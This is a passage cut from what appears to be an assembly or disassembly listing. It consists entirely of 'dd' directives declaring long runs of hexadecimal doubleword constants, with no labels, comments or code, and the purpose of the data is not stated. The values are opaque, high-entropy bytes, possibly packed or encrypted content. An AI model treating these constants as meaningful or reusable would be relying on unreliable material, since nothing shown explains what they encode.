59CEA1h, 0BF48EA92h, 3C788B1Ch, 5BB8AFFAh dd 90735700h, 4F4D63ECh, 333B0D2h, 808F3151h, 7BC8ED68h dd 9200EC91h, 628687D8h, 794D9C79h, 2645E049h, 28CC8Dh dd 2BEBF693h, 5618AD0Dh, 8A397A55h, 0F59F00FDh, 0F96F28C3h dd 0B500B6ABh, 1B9EF7D0h, 0FAF7350h, 0F4721A7Dh, 0C232A4C0h dd 0B9078DEAh, 672D6ECEh, 0C91E1820h, 606100D7h, 8D88E5B2h dd 19007078h, 49E7D48h, 0EAF88149h, 511E13E8h, 0E57C009Bh dd 405D7C35h, 7CB0915Ch, 0A934300h, 4AE07F72h, 69C71F01h dd 9283D403h, 5380A03Bh, 84220CFAh, 0E100C2ADh, 5A5F6ABCh dd 71109B2Fh, 2749013Fh, 0B771D8F1h, 1839A0h, 0A96B9982h dd 94910994h, 72DF0D6Ch, 0BD8430A2h, 3D0106EAh, 2409ECB0h dd 18802325h, 0FFF1449Dh, 6328B79Eh, 9518184Bh, 764990AFh dd 649098h, 9DB7F06Ch, 0CBA16B0Ch, 6321FF03h, 930B59BDh dd 0CCD20132h, 9524BCCFh, 682040A4h, 0C93AB7E0h, 96170191h dd 0D552CFD4h, 30B62C30h, 93183957h, 1B58FE12h, 8439A3h dd 14E88D4Eh, 2826F1FCh, 0E56C0C95h, 6BA79081h, 431794ABh dd 0C0076A0Ch, 0AFE099CDh, 114DD110h, 0D3B300B5h, 27F074BAh dd 0F045AE5h, 0D17056DEh, 0EA4E0180h, 0B7120043h, 241DC757h dd 6C381899h, 0C4AF8088h, 9A5136F2h, 5AB2764Bh, 4745013h dd 382F86B0h, 2BDB5F00h, 237ED061h, 8BAC3E30h, 81373301h dd 0F03831E6h, 0D000D348h, 0ACD984D7h, 7D23C60h, 126795Ch dd 42BB024h, 28031220h, 0A068AC37h, 0C5E900EDh, 6C965726h dd 4C0EB830h, 8CB7C060h, 72B21C4h, 6D7358CEh, 3031A017h dd 1E38750Ah, 4B2700ABh, 2E1885EDh, 734E0064h, 1C6C127Fh dd 913D907Bh, 476A0117h, 0BEEA4CF8h, 0CEC3BF8h, 0CEFF2F05h dd 61004838h, 15996293h, 0A87F4D6Ch, 10CFC0h, 0EB49EF67h dd 7C750F1Bh, 0B518BF00h, 0C96BD15Dh, 0B8F231A8h, 0EC86AC20h dd 4B53D9D5h, 0B1668F20h, 0DECB0693h, 913A20B1h, 1E80E04Bh dd 19E2787Bh, 0B8124E18h, 0E3580252h, 0DBD11FBFh, 8C9B8522h dd 0E4D44088h, 3040972h, 91EC8006h, 6008D82Fh, 6AC32190h dd 24027309h, 759D04B9h, 29444094h, 0FE780088h, 0B4F0505Eh dd 0C77C4884h, 0E5228CA0h, 1FBFF25h, 0DCE8123Ch, 48CF6CD8h dd 0D71970D9h, 805D08D1h, 49D49721h, 10DB787h, 16287545h dd 835E2447h, 6D4A0FC0h, 0CC3788B0h, 7C4B7B03h, 0C37501EEh dd 4E4FD410h, 9AD891EBh, 7096D80h, 208C6803h, 0CA0013EBh dd 24E30965h, 0F2790Eh, 6ACEE0E1h, 0B2D77B40h, 0C19F5B02h dd 87B6EB18h, 19805EB4h, 249E7FE1h, 0B7107Bh, 7C80374Eh dd 0A424D548h, 0B2807C16h, 9ED7AE90h, 80F1198Ch, 80A60995h dd 0AD98D221h, 97E503Ah, 0A0620226h, 94E51090h, 10B08C4h dd 0B616EE81h, 279F2440h, 0A3AC0C15h, 0D53193CDh, 9269DA1Ch dd 9A621F45h, 906C71C0h, 1CD45007h, 0B45A54FDh, 0FBA40162h dd 6B3A1786h, 0C44E43Ch, 0EA007498h, 9EBB8FDDh, 6EC9A4D4h dd 0F4561EBh, 0BEB9033Fh, 49184CFAh, 9820EEA4h, 79DA03D4h dd 0C5955BC1h, 0A7F3DEC3h, 2CAFE900h, 3097F888h, 0B9BECF1h dd 1AC54CDh, 41B5D400h, 1CA302D6h, 0DD920804h, 10A6BD2h dd 79CC80D8h, 0FBEE0D72h, 8815861h, 2FC8A920h, 57540330h dd 6074DEB5h, 856A0180h, 8504953Ah, 89114514h, 13E0AC50h dd 10426847h, 403E6F05h, 27B5B34h, 746A3C70h, 2441DD37h dd 86E18A7h, 6003D809h, 2194C6h, 5D0966EFh, 6B743629h dd 24BE40DCh, 0DDC780D4h, 0D1CF6D61h, 88885118h, 684901D5h dd 64DA01F0h, 0A26F20CEh, 8E0CC048h, 745E200Bh, 1E581EBh dd 93F6BB4h, 20BEF66Eh, 48C2640h, 9D24AE95h, 27A96234h dd 0EAADD0DBh, 0EF60AF98h, 5D6C1961h, 11004C7h, 0B0594B0Ch dd 3F306858h, 897690Dh, 3C07749Dh, 18034AB5h, 172A5F9h dd 62FA58BEh, 0BCD0324Ch, 0E1388CE6h, 0F9B38204h, 68A286A8h dd 0A940216Ch, 80402890h, 28ED4806h, 46B074B7h, 8033BCEh dd 0C461CF73h, 0DB8E405Ch, 60AF3B49h, 81947997h, 2200E20Ah dd 0BD320240h, 0D16F4Bh, 46FA2F95h, 0EAE1931h, 606B6C3Ah dd 487DC590h, 7EB4ACDBh, 9D211196h, 80A8883Ch, 7DAD9ED8h dd 0F4098D19h, 4DAF03h, 1E967AA4h, 58D44C74h, 59988722h dd 1B5B9100h, 0A32986ECh, 0CE49C71Fh, 0E18C437Eh, 707FCBC9h dd 25000271h, 0ACF14C95h, 900766EAh, 5C98493Ch, 0DD096B80h dd 87D803h, 1B0963C4h, 0CA784408h, 0C5E0814Ch, 944096AFh dd 0D6464B70h, 0E968016Bh, 0FCA05778h, 0B0AC5042h, 0ED07CF33h dd 6A4DEAC7h, 971752D0h, 10694890h, 2EA8097Eh, 5C28491Bh dd 8FC911DCh, 0CF72C202h, 8C4769h, 0AC49DA8Dh, 0EA70964Eh dd 0AB662F28h, 8C28CB13h, 3E8AC01Dh, 92939415h, 971B8D01h dd 4462CE4Bh, 71DDA23h, 1CFAF84h, 8A205F62h, 1C6A49DFh dd 0C177677Ah, 0B3F6CF7h, 0F48E0453h, 85C0EF88h, 404A369h dd 0C1DF1ED8h, 0A90C8A7h, 0C5FAC0F1h, 94245F00h, 42591772h dd 17FEA8Dh, 0B66B5225h, 9451333Eh, 0E8A06780h, 3E1C8C5Eh dd 470580ECh, 78D0CB63h, 17DBA16h, 0EAD5D075h, 24986A45h dd 9F37910Ch, 19C5414Eh, 22F4C88h, 930AECC8h, 0C4E1EF10h dd 7E2B1869h, 386C1057h, 8098C8B6h, 0B458CF2Ch, 4705501Ah dd 0A3A7F2AFh, 9F428440h, 24A81890h, 0F7CA35h, 2B41D6A5h dd 0DA05785Fh, 81F53762h, 8CD330DCh, 70140876h, 0E3EC39CFh dd 9249808Bh, 829403F2h, 938C1859h, 4D9D930h, 0E0351C7Eh dd 2CED001Dh, 0B2FB8D5Fh, 0C81C7457h, 0CC0F37A1h, 176BE180h dd 4074E4F3h, 3F180495h, 92EB346Ch, 9330DC10h, 9D2611AEh dd 0A29E24h dd 0BAAD9BD9h, 1C73816Ch, 4BD7E400h, 527DA113h, 0A4E55C85h dd 8C51E8h, 6E138363h, 0CF8BD7A7h, 0E49874F2h, 0EEE93719h dd 9218DFA9h, 9ECDAE04h, 202DF09Ch, 30BAD54h, 83DDF429h dd 927FBA02h, 40906C0Ch, 7E8CDAD5h, 9ED01691h, 0D7443894h dd 0E4AD9900h, 5B464518h, 6ACC0753h, 6020AF16h, 0B050F84h dd 3DE47200h, 0ABB68064h, 1A2603A5h, 0B24740CFh, 580C7856h dd 16B310D8h, 69441B26h, 5411189Dh, 0AB1E7680h, 1B07BCDEh dd 45FE5E1Dh, 0E58C20ABh, 2EB56ED5h, 8380CC54h, 0FE433F01h dd 1C378826h, 0B8E2870Ah, 828E1CF6h, 0BEEE32h, 931355E3h dd 28096D0Fh, 99AB42C6h, 704BDB0Ch, 0CCC05288h, 0FE6801EAh dd 60DEF503h, 83BDF0ACh, 224C47C1h, 0A2200074h, 1626C6Ah dd 0E4CC7E45h, 0D77403E7h, 34A9E021h, 0CB7D85FFh, 0C9EFC844h dd 86D31C80h, 3B01B4EEh, 0AA4C5E41h, 282D855Ah, 8C50A8h dd 88C191A0h, 0BE68458Ch, 2707DCA8h, 5893E734h, 186220A3h dd 0EC08F8B7h, 1B470103h, 8104AF6h, 102E1FC8h, 8D465Eh dd 0F79917C7h, 2EE63F6h, 0A3450BF3h, 0E4B0AA18h, 0AB009C75h dd 0E20DFC81h, 9DC4793h, 63279F5Eh, 14988000h, 2E05BEA2h dd 13A04D64h, 0E0E68CC1h, 80C059FEh, 0BE7DAE45h, 0BF50587Bh dd 549914E8h, 9441FD8Ah, 0FAAF2A80h, 7A21D4Ch, 0FF519DD1h dd 0CD27C044h, 0E8481873h, 0CB1A7C00h, 41488404h, 21186BFCh dd 6C955704h, 9B32B808h, 58CD3620h, 37F00F31h, 92822793h dd 604D3920h, 21605EE4h, 0B409DF60h, 0C028739Eh, 120F6870h dd 0CCEEECABh, 29009358h, 0A72E3F57h, 698782Dh, 8E9F720Ah dd 0B01B116h, 0E5C1E901h, 5024A0A7h, 10350154h, 957ABAE2h dd 3DD2C832h, 21A52225h, 8F6545E4h, 1CDCF451h, 0D6399Eh dd 6DA3A24Bh, 2F4B1790h, 6BD37031h, 52A2E463h, 6F893C30h dd 6DC05AE6h, 0ECCF9AE3h, 15A8F8A3h, 4050246Fh, 0B50970A8h dd 11B63B7Fh, 7B199E58h, 0CCC77FA1h, 0FEC1F8E2h, 63B70969h dd 81CC00D0h, 34D5AD4h, 0DF4600B8h, 0BC99287h, 0AA0263B9h dd 0E71DCDF2h, 0B0A84C6Eh, 0D1D499F8h, 971853h, 6C784A7Fh dd 2A3E2DF0h, 4715A604h, 4888E904h, 231E4248h, 58D40062h dd 0B7C06C90h, 25C14486h, 7758FC02h, 0A1EC6717h, 8B181398h dd 2200C429h, 6DD5FCBCh, 0EA05E341h, 0C2CF9707h, 0AB0B407h dd 0A8C1EC30h, 0B0BF51F6h, 0E9AFC08Ch, 1F00AB61h, 8C5684CCh dd 13A542A7h, 0A1589694h, 0D58802E4h, 6ED80631h, 2C094FCFh dd 0DE07898Ch, 0F7D52049h, 67FD63h, 0E273A19h, 0AB29A0BEh dd 0BB2C3300h, 57B7083Ch, 61BD2564h, 0E631C19h, 0D6C05C88h dd 1D42162Eh, 93F8587Dh, 0E7F840F6h, 7826BA9Bh, 0B7857203h dd 0E2307E12h, 64C8A418h, 9258D260h, 11D06C23h, 0DA2F009Bh dd 74D64358h, 5901F295h, 20D4DC17h, 18C52B8h, 2CC8B92Dh dd 0C88AFF63h, 189173BEh, 6785D809h, 60544444h, 9C1150h dd 904E725h, 0A5C95E79h, 0C2FE34Eh, 0DB00AA23h, 0DA2A02EEh dd 6EC37016h, 7C40A083h, 0F634CB9Ch, 1392A8A0h, 9FE4BB54h dd 0E5606CF8h, 9E411218h, 3ED8D2D3h, 9D23CCh, 18C3F428h dd 91498CD6h, 5B750980h, 0AFA2006Dh, 6DFF3h, 0D6EB36B8h dd 171689B5h, 0CC035F5Ah, 24EED7A3h, 0B979E51h, 0C445C6C1h dd 181294E2h, 0AAC01CB2h, 0D9559A9h, 9E7D0317h, 0CB03E051h dd 2C805ED5h, 5FB1778h, 3AEBF58Ah, 5B23E4h, 676BA5A1h dd 0C9C0526Ch, 9879BF7Dh, 0F4C94877h, 46A88D28h, 91984067h dd 0B6286C14h, 0D92AB1A8h, 1107460h, 64E2F2A6h, 0E82D3C4Eh dd 1A027C2Fh, 457A6114h, 20526Dh, 91D79373h, 0FE84ECE0h dd 2C80FC3Dh, 4E071934h, 0B3BF6EEEh, 8E187821h, 0EFF96803h dd 21B89F5Fh, 1A08DD07h, 5E6005CBh, 0F0A25CC5h, 0FD3092F2h dd 255203ABh, 28FA8A83h, 25A118F9h, 0F872FA58h, 0CCE10300h dd 0C864271Ch, 39350228h, 921F2F01h, 51F7C50h, 31B3A4CCh dd 4F3F9048h, 75B0C942h, 76743CC1h, 0BC3D2EA8h, 8827F210h dd 0C2912C17h, 0D0A0B8C0h, 0EB0A35EAh, 10C0AF51h, 95C1CB00h dd 3ED42F9h, 8CE26237h, 0BD1CFD6h, 0E9F8C496h, 0AC162401h dd 8DC8739Fh, 4B788028h, 23682E7Ch, 7CEA00ADh, 5BA0856Bh dd 6234CF73h, 24C2E8AAh, 55C120E7h, 39C0FAA3h, 0E1A22E0Dh dd 2FA0B047h, 68243CE7h, 974609Dh, 9003250Eh, 0F9003416h dd 0DD2D096Ch, 1A60796h, 16D81347h, 6C457C6Fh, 4E22E0h dd 2B8265B5h, 4C5E9E3Ah, 0D2991B00h, 0FFE1C223h, 728B863h dd 787A2ADh, 0C045C9D4h, 0A96454E4h, 79E207B5h, 0D7A0C859h dd 2167B8Ah, 2885262Ah, 5850CF83h, 1C906F4Ah, 0C04A9891h dd 17650749h, 38B6E90Fh, 131C4902h, 0FCA880EEh, 99F1549Eh dd 1892D138h, 0D2A4003Fh, 6BF01F7Ah, 1B3040C1h, 0EC4559B0h dd 0B6803E6Ch, 2884E302h, 3072F3CFh, 0E81D9B29h, 100CC715h dd 7E26C0B7h, 70996724h, 3D7F7A5Ch, 3D28125h, 2D592104h dd 48A0A0E1h, 0B0BC6699h, 0C8902F00h, 0BBA213FFh, 0D2720046h dd 0DAD587A4h, 4B050551h, 0F04570ACh, 0B80B94E4h, 80AB0549h dd 0B637228Eh, 1C40B7C0h, 475B601h, 9EE3782Fh, 0B340D4E1h dd 30ADB260h, 0A40017B5h, 0E172A273h, 9CBB0F40h, 687B5ACCh dd 78F3FA50h, 842CF5ABh, 6C236100h, 0EA44EF3Fh, 5DE88BCh dd 5AC127EBh, 4C048A7Eh, 8CC7B8ACh, 5987901Ch, 0E81A2C41h dd 9466C1A4h, 3D200E00h, 64DE6738h, 0A0B7F002h, 9DCCEB3Bh dd 81501188h, 292737C0h, 0A1FC51F6h, 48C54BB4h, 0BF605B64h dd 7F71E23Dh, 475C6CB4h, 3DE900ADh, 45E7729Dh, 2F0916Ch dd 1CC380D4h, 313C8E4h, 5C928F97h, 11A85911h, 3A8800A1h dd 2B915F29h, 874C5C41h, 93E3BC00h, 59D2070Bh, 0DA709195h dd 0E8BC782Ch, 0BD001343h, 97536CCDh, 307D5537h, 9C505E00h dd 0E206240Fh, 96E001ACh, 0C968F14Ch, 0B8F1C638h, 4B189279h dd 0B0E8B80Fh, 45962003h, 99FDB146h, 28060008h, 0C14A1DC8h dd 0AE4F4300h, 0F65CE75h, 0E2D01D18h, 9B2D4113h, 2998607Bh dd 80614F68h, 27B487h, 253052A2h, 8F450351h, 0E17DA1ACh dd 89EA23F9h, 6784BF69h, 605E44F0h, 0B860EE96h, 0CE1B271Ch dd 0ACE7B0A2h, 0DFC43D07h, 3068C4F1h, 9B7DC9C4h, 14D380ECh dd 16771B20h, 0B05ED66h, 1880178h, 365C82E8h, 99040D78h dd 209D060h, 16700325h, 68C5005Ch, 536FCF09h, 0C4AC41B8h dd 2AA08709h, 1178BDB7h, 0FC029D5Fh, 62580473h, 91C89DCCh dd 60CE80AAh, 0FAF3C8BEh, 0BE947A73h, 132C08A0h, 6C4F0E87h dd 7088A325h, 0E1C64083h, 0A64223E4h, 0C0C58989h, 62609BE4h dd 7D398765h, 219713C4h, 7E4590D2h, 24E58594h, 43708D75h dd 84DD9757h, 438B32Ah, 4A5313F2h, 4FFDFCC1h, 0BC009C57h dd 0B833A97h, 89A6567Dh, 6899D4CEh, 1118AA71h, 3B6E4705h dd 64C17BDFh, 146C69EBh, 0C7D8814Bh, 0C8E04ABh, 3013EB84h dd 3AA36E1h, 82E3CA38h, 9D802B35h, 975AAC7Bh, 6DA5E040h dd 9015BEF6h, 9207h, 7F79DBD5h, 0CF74D0FCh, 0EE09103h dd 9DD71FB5h, 0E9A7E421h, 955DC100h, 9457922Ah, 3F17BF0Dh dd 60785819h, 8CB1E8h, 18CED536h, 65F92CB6h, 283E5603h dd 21A0A92h, 0DCD3B729h, 0D0D218E7h, 0B875E240h, 0AC6F20BCh dd 0AF743C09h, 8F1420ECh, 4F1D2Bh, 7FDDEEA9h, 9874717Bh dd 0E8F0144Ch, 124394h dd 0F34406A3h, 4932FB0Ch, 0BB02602Fh, 504B3F6Bh, 28272040h dd 100C1095h, 7AFF7D21h, 0D67A97h, 7084D001h, 3B5737CEh dd 5D3D9000h, 0AF65FFE7h, 0F0B9C092h, 96ED7828h, 25BDF900h dd 8C6401DEh, 0A3840479h, 40808D87h, 0AC4524CAh, 75E13D08h dd 280C9989h, 370A8078h, 0A01EA3D5h, 56739680h, 134AA93h dd 0F37B2F5Fh, 2C7E15CDh, 8CA6B850h, 0C39C4309h, 0E60D0ACh dd 0E69B0EEEh, 8C7A92h, 3196B9EDh, 30CB9C6Eh, 0A758AC4Ch dd 802EE15h, 1F9879C6h, 0A1F0CA9Ah, 4740EF3Ch, 8170013Bh dd 92E06F28h, 48F4A020h, 978F0362h, 52E37A55h, 9F44D2DCh dd 5FCBD882h, 0F0739D00h, 3E889EE3h, 5800AF2Fh, 726AD321h dd 7381B48h, 0A8C316C9h, 0C8D0B3C4h, 0CA73747h, 0FA7F18B9h dd 630CBA71h, 117DF9FEh, 52BD05E5h, 0C74AEE3Ch, 6485A96Ch dd 15B80844h, 0AED7AF83h, 7312C8Ch, 20951D14h, 4BCDC100h dd 0A5F0DB30h, 928470B5h, 0F581004Ch, 0DFAB642Eh, 0A4300F62h dd 9A9451A2h, 6DB6A007h, 0D1EC00E7h, 6BA35715h, 0D706F7F8h dd 99F67322h, 171409D8h, 6880725Dh, 1E76FB4Ah, 10F92A0Bh dd 1D3C207Fh, 8817E3h, 554DC585h, 910D9644h, 0BE8AC71Fh dd 0FC246F5Fh, 8DC32187h, 0F2586Ch, 0EFAF9651h, 5CC139B5h dd 0A14FA335h, 0A6C8ACCBh, 280867C0h, 783A0075h, 225F54D7h dd 2A4ABD37h, 0F98098DBh, 6D3CEEC4h, 8AE22204h, 70A6578Eh dd 8B982CE0h, 8600C891h, 0E423DE2Bh, 0A6670766h, 0E01033E7h dd 9EC5A26Ch, 885A0C92h, 92609440h, 16E5885h, 0FF522F6Ah dd 0FC87E326h, 0A813C959h, 0F0E019DEh, 6A4F0B89h, 60C0CC47h dd 9C013C12h, 0A5C168FCh, 547C4C77h, 0D3CB9D1Eh, 67F840B9h dd 0BEEC7EBBh, 5191301h, 0F87398D4h, 3C73006Ch, 0DD94AB38h dd 5AE12074h, 4CA4187Ah, 496B0C3h, 0A85B0F84h, 5A0E3830h dd 93231C2Fh, 9D04B300h, 0FEFB808h, 419E1780h, 68F1A129h dd 2174AC2Ch, 9A8013E8h, 4108FA9Bh, 0BEA40127h, 0E349AFFFh dd 462434F4h, 0CB20DC12h, 79F0B91Ah, 18E6791Ch, 1DDA3E41h dd 136C2893h, 73B8D242h, 12B8A47Eh, 98A4FC3Ch, 6B7200A2h dd 918609F3h, 7C7838BCh, 0A987302h, 71D80601h, 18C979C0h dd 8BF8005Dh, 0CF982AB6h, 9E2C55ADh, 9F40A018h, 0A2820873h dd 119C9D74h, 490280ACh, 0A0D7655h, 968CDDBBh, 5980BAC8h dd 363AB6Eh, 1902F39Ah, 0D2B07ABEh, 9478417Dh, 3F1CA010h dd 89506500h, 70B4E403h, 7AB707C1h, 0E1136CADh, 57EB76A0h dd 427EBA0h, 0C4D1E96Ah, 0F2185ED1h, 3DCC0802h, 0E8C8432Fh dd 0E9C2A860h, 6300D43Ch, 30450A9Ah, 899F92D7h, 0D1DCC37Ch dd 0B985956Ah, 2040FEDAh, 4FE74BE0h, 9EAFB705h, 0A8099508h dd 491C48FAh, 76DE21Eh, 0CB65B6AAh, 7386A305h, 0C86EC04Fh dd 1A3A3E18h, 38004649h, 0A6B664F8h, 0BE2C31Bh, 8D487380h dd 3474C412h, 0FE1E60A6h, 0B72D1ADFh, 0AA963888h, 0C1B0038Ah dd 0A0986D80h, 0B0961BC6h, 9F1388h, 505E5DB5h, 8CB851D3h dd 8090374Bh, 5AB18B6Fh, 84AC8E49h, 37301289h, 5D4CCB94h dd 0AF060408h, 8D0EBCACh, 952B29D8h, 469AA309h, 0D11C511Bh dd 7E1898h, 8D26A00Eh, 0BF53950Fh, 0EC476317h, 4DE250C1h dd 0CEA3EC40h, 0E08B4D6Dh, 0C7008022h, 2E915177h, 1F0C1D63h dd 9F0EA211h, 2411ED67h, 1D9F18D0h, 0A59ED2ADh, 0D58768E5h dd 0A950ADA7h, 0D911D4h, 5E3ECB61h, 4EE41695h, 52E9947Dh dd 0B8768880h, 9B284A87h, 57C08F37h, 7AE4BAA7h, 1E010182h dd 343E374Dh, 1B7C709Eh, 791F4F40h, 57033111h, 6AD7A379h dd 50CD85Fh, 7C971914h, 0B047F573h, 94969181h, 343D7425h dd 0D9B630B9h, 119D6D25h, 0F3C44FD4h, 0D8730CE5h, 15980AB4h dd 0BD750D84h, 3B119AA2h, 0AD23A02Fh, 78B4DD00h, 0E01273F0h dd 4EBE386Ch, 4024EBA4h, 98DF473Dh, 915C8E9Fh, 0A9C3007Fh dd 2A94E536h, 140552A5h, 0EF8CE07Fh, 0D4A23494h, 0D30E8F2h dd 0EFE300B6h, 3122BFADh, 99278310h, 0FD1443ABh, 62AC5048h dd 0C40AC997h, 3A8E208h, 997B0F1Bh, 0CE61938h, 109BEF47h dd 81CE02D7h, 5DE1B513h, 8DE4CCC5h, 0D5907360h, 72F3A501h dd 3C86414h, 139C52DAh, 296FCDBh, 0ED180B3Ch, 5C79E479h dd 0CF0C6418h, 0D0BEF710h, 272F1007h, 0AD0579F2h, 1CCCA383h dd 470B24B9h, 0B002F7D4h, 145ADB13h, 465EB4BEh, 0FC441DC4h dd 80940ECFh, 0DDC2613Ah, 41204E95h, 0CC14B06Ch, 1EC32FEh dd 11CFE84Ch, 0EFE0A745h, 1B922483h, 59F4344h, 7573FC80h dd 0FB2DB101h, 153D9290h, 56C17810h, 64222B2Ch, 3F5B4674h dd 208D25E6h, 0D3B4DB1Ch, 0A536011Eh, 2BC0C9Eh, 1946D827h dd 9E642E3Dh, 0A38CE6D2h, 129D69F9h, 0A081DCD3h, 304B6F4Ch dd 48427405h, 988838CEh, 0C3235FC1h, 78F1ACCh, 0E3C185D9h dd 418718A2h, 2230D76Dh, 0DFF7B6h, 655D4B7h, 0A04F4EEEh dd 7B458404h, 40E27F54h, 9230ACE2h, 0FC9A0F93h, 0D53D120Dh dd 0BA83B439h, 5BE079D5h, 961A2114h, 6FB8B9A7h, 0FAB340C0h dd 0D23ABA60h, 0FCF5A80Eh, 84441A45h, 4C848C14h, 0B19E02FEh dd 0DC19A7A3h, 3C00DCE0h, 0C47EF0CEh, 154389B9h, 0DC74D314h dd 0F7AD0B09h, 1B70A453h, 0BB650134h, 83C59952h, 300B3161h dd 1E13152Ch, 40A263F4h, 8ED6E200h, 0B696C844h, 0E0C9CF12h dd 0B1F250F2h, 0E0B5130h, 0DDA214BFh, 0A1ECA800h, 0CB7E48CFh dd 1FBCA29Fh, 0A22E009Ah, 0B579DB2Ch, 8B69F26h, 7804C064h dd 0F2DCF2E5h, 6BA43097h, 8F6D6802h, 64C2A101h, 73C813ACh dd 0F850F0C0h, 0E820385Ch, 0FE008C9Dh, 0CFA61694h, 2469CBA2h dd 2E700457h, 7F7FDC58h, 0A83B5Ch, 76C8CE99h, 0B28B6A45h dd 97071CC8h, 38C8AFB3h, 0C3052A7Dh, 72ED6E92h, 0B8646C10h dd 91008CC4h, 0DF3874Fh, 1D4725FCh, 8045D3C8h, 9D2D3477h dd 6C90A009h, 5DC46C85h, 0C04D7A60h, 0DB9C9D04h, 689D8F74h dd 16A8E07Dh, 957AFB09h, 0A0D0F221h, 903D0220h, 0D0CC996Ch dd 1861297h, 16332B3Dh, 2FFEC930h, 61145840h, 0EE59C54Fh dd 86DF1257h, 0AD9C0103h, 7E6BFD67h, 4EFC3404h, 0FC80750Dh dd 0E46AED9Ah, 7087840h, 3077131Ch, 85B0CB1Ch, 584B6A80h dd 54E8A015h, 0F9E3008Ch, 93C03552h, 455C8721h, 0B0761010h dd 49EEED1Eh, 90A1AB6Bh, 742B9AE7h, 19052E18h, 0A3BE0853h dd 2070B492h, 0A50F460Bh, 2C9C154Ch, 0DB42B4DEh, 10F48126h dd 6080C3D3h, 0D1DE2F41h, 925A0E6h, 1748208Dh, 1287D75h dd 0BF1157F1h, 0FCB32A21h, 6900523Bh, 0DD2B7FCBh, 48DC73FEh dd 3075C0F8h, 48D821F3h, 715A3E9Eh, 8C7A183Eh, 0F440E700h dd 0C8580A99h, 0FD9A150Ch, 0DB4F9C95h, 9AD38014h, 0EA9987C3h dd 0F4A0A2CCh, 8F174004h, 300574Eh, 7B643C37h, 13BB119Ch dd 0E6540150h, 0FDA0E014h, 93B9003Fh, 0EF5C0911h, 0BA3B4645h dd 9C12AC9Eh, 0B1798C21h, 0C91F4618h, 0FB0737D3h, 0CB2551D5h dd 181F58E3h, 0DE04CFB6h, 1D9E80FDh, 0FEF5A48Eh, 0B74B39h dd 0A1136B92h, 4FCB5B2Ah, 78388014h, 0F65CE82Fh, 8C9BE8C4h dd 78E02B00h, 2C83D77Bh, 0A5C13823h, 903F4709h, 52A86440h dd 7C128CBEh, 9991A042h, 0C198A086h, 0B28F16A8h, 43984228h dd 3053A2F4h, 13000C95h, 5018F5D5h, 25104C26h, 86A119Eh dd 2E4084FCh, 1ED5DFBh, 0C5C60565h, 0DC311B23h, 2F0B90DDh dd 32FC2AA9h, 0FA9C8D70h dd 6B28A984h, 54233EF1h, 2946D00h, 1391D0C2h, 0B01A37h dd 28F41F80h, 0E607450Bh, 614E6511h, 8D7415F0h, 9A20059Eh dd 0A098CBBDh, 6716144Ch, 0E8B00B3Fh, 99BC40A7h, 9F5E0402h dd 720391BDh, 0A8755C04h, 0E0C5BF00h, 0D31D2528h, 9C008C5Eh dd 916A83B2h, 5AFDF26Dh, 0F2DC0323h, 96D8A474h, 6F00BD5Dh dd 4BE3E033h, 0F995D2h, 59FD7350h, 0FBB5F4CFh, 361E3C01h dd 18B056D8h, 745FD8D7h, 0FD1C3D15h, 85EF7E01h, 0FCA92CC4h dd 454E4953h, 0E6AC38E4h, 5FE039C1h, 581D7B04h, 8C53BB97h dd 858A00EFh, 0EB4598D3h, 27F5A603h, 0A05C6F2Eh, 331E0C8h dd 26B65303h, 30D8B3DEh, 0EA00458Ch, 9B3E5F6Ch, 70581FE8h dd 72A3000Bh, 29F6BE3h, 84034A81h, 0ADA05497h, 0C5281F35h dd 3A798017h, 4FAFEE86h, 93BD9000h, 33F8D77Eh, 0D20D001Dh dd 29B7B8Fh, 0B6000A53h, 0D6F5D80Bh, 6E31D9h, 0FB68DAC9h dd 0EB46D3DBh, 2F015DB8h, 9D3E1086h, 5FC834D9h, 0FCE800B1h dd 4E93B8BFh, 320024D4h, 254F2869h, 186D9CBh, 0FF68230Fh dd 52906009h, 98B007E0h, 0AE002022h, 0B005DE39h, 7EF7FFh dd 0AF1C5B67h, 0E3915596h, 159A40C4h, 40FA7547h, 1FD57DBAh dd 30D92830h, 4A2AC672h, 38B0E00Eh, 58F55D03h, 0F8B01949h dd 0C885F2h, 76D7934Eh, 9C0E9711h, 0EF20B300h, 0F188ACDh dd 122EE81Dh, 411A29h, 0DAB73CA9h, 0D9502217h, 4A002D68h dd 5783FE0Ch, 0FACA66h, 9D21B468h, 24462B60h, 81D8C600h dd 7996BDCCh, 0BBF0036h, 0F19D4238h, 0AC01539Eh, 6F6A4F15h dd 702028BCh, 0AEC400A8h, 0EF3E5C43h, 0BE0024B7h, 12F0C764h dd 1294F68Fh, 190AA08h, 47F1D8A7h, 0E019E5AEh, 0FD002BDFh dd 38B80D64h, 2D58534h, 624F1A05h, 9C8021CCh, 0DBED4348h dd 2CAFCD1Eh, 0A44012D2h, 7FC91F97h, 84D1D79h, 0E69FBCh dd 789587E0h, 0BA075B70h, 564A1A5Fh, 0DAF5500h, 0AB2E898h dd 216B9C9Bh, 0BB7B81BCh, 30290393h, 0F5B40D25h, 0D8A7E906h dd 590FA20h, 0BDB363CCh, 0F38580EFh, 130E9315h, 0E0A3042Ch dd 286A3960h, 4DB0C5F5h, 0B8F44A6Fh, 9284B998h, 0BEAB2BCDh dd 1AF2E801h, 618274AFh, 2FB81343h, 3EC87C40h, 30840702h dd 80D240AEh, 687CB0A8h, 0FFB90948h, 0E47611DAh, 472E7840h dd 9D313024h, 169C5541h, 0AA0076ECh, 59DBB25Fh, 38FE350h dd 9EBD983Dh, 33988554h, 0C00119BAh, 73E1083Fh, 31072C5Ah dd 80DAD11Ch, 50A09198h, 0C0E6E4B7h, 24DC34B9h, 233099C3h dd 0CF6130D0h, 376E00D4h, 0FF50965Ah, 0A000A235h, 0A84943Fh dd 4566Bh, 3EE0643Bh, 7BCB7C43h, 3394C450h, 9B157D04h dd 14F4F8E6h, 31ACFAFAh, 9361F5C9h, 461DF054h, 0A7BD9D00h dd 48706C43h, 23FB0073h, 928F2678h, 4900EAACh, 0CDBC8E41h dd 0AFD7E0h, 0A440CAB8h, 4754FCB1h, 33670B00h, 2CA0D069h dd 8C413824h, 0AC58E913h, 28C90C68h, 0F3E9A8h, 0EB518527h dd 7CCD8064h, 61895C00h, 722E4B25h, 43DE03FCh, 0B2AEF8BAh dd 99E228F0h, 88009498h, 2EC2C593h, 587C9Fh, 6880A570h dd 0E29A0B56h, 5F0F2100h, 0B330FE51h, 0CF6F0F4Ah, 55C06BFCh dd 77608487h, 0AD6E7603h, 99A27Fh, 0A958149h, 37F90F7Ah dd 18772FB0h, 0EA887900h, 82AD0C73h, 3B5F1EE7h, 156F0060h dd 41EED09Ah, 8B07400h, 39555AD2h, 0C2590078h, 